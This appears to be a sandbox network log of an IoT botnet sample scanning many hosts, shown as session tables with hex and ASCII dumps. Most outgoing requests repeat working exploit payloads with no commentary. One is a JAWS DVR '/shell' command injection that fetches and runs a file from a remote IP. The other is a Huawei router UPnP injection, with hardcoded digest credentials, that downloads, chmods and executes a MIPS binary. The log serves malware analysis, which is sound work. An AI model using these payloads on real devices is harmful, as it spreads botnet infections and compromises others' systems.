Mar 13, 2024 09:36:49.280044079 CET	858	IN	Data Raw: 6c 73 65 0d 0a 7b 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 6f Data Ascii: lse{var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;

Session ID	Source IP	Source Port	Destination IP	Destination Port
340	192.168.2.15	57922	178.250.247.98	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:49.163949013 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:49.378602982 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
341	192.168.2.15	60032	41.63.160.172	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:49.200958014 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:49.456058979 CET	404	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:49 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
342	192.168.2.15	51616	23.51.138.243	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:49.214262962 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:49.485230923 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Wed, 13 Mar 2024 08:36:49 GMT Date: Wed, 13 Mar 2024 08:36:49 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 34 35 32 63 64 31 37 26 23 34 36 3b 31 37 31 30 33 31 39 30 30 39 26 23 34 36 3b 32 64 63 34 65 37 63 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4452cd17.1710319009.2dc4e7c9</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
343	192.168.2.15	47122	121.152.67.252	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:49.229516029 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:49.510299921 CET	504	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Wed, 13 Mar 2024 08:36:48 GMT Server: lighttpd/1.4.32 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.15	56884	2.11.26.149	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:49.253004074 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:49.454477072 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.15	51816	86.106.182.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:49.258152962 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:49.436647892 CET	433	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:49 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.15	54294	20.91.181.127	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:49.268724918 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.15	54420	78.63.2.0	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:49.270687103 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:49.461523056 CET	466	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:33:10 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/8.2.16 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.15	53428	154.201.66.244	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:49.418306112 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:49.732063055 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:36:49 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 13, 2024 09:36:49.972183943 CET	1	IN	Data Raw: 3e Data Ascii: >

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.15	51518	156.254.74.45	37215

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:49.509394884 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:53.652827978 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:59.800640106 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.15	37010	14.92.225.134	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:51.026695967 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:51.307816982 CET	506	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Wed, 13 Mar 2024 08:36:50 GMT Server: httpd Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.15	54660	116.58.44.58	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:51.042202950 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:51.344079018 CET	35	IN	HTTP/1.0 302 Redirect
Mar 13, 2024 09:36:51.345139027 CET	383	IN	Data Raw: 53 65 72 76 65 72 3a 20 47 6f 41 68 65 61 64 2d 57 65 62 73 0d 0a 44 61 74 65 3a 20 57 65 64 20 4d 61 72 20 31 33 20 30 38 3a 33 36 3a 35 31 20 32 30 32 34 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 Data Ascii: Server: GoAhead-WebsDate: Wed Mar 13 08:36:51 2024Pragma: no-cacheCache-Control: no-cacheContent-Type: text/htmlSet-Cookie: sid=0; path=/; HttpOnly;Location: https://116.58.44.58/shell<html><head></head><body>This document ha

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.15	54658	116.58.44.58	80

Timestamp	Bytes transferred	Direction	Data
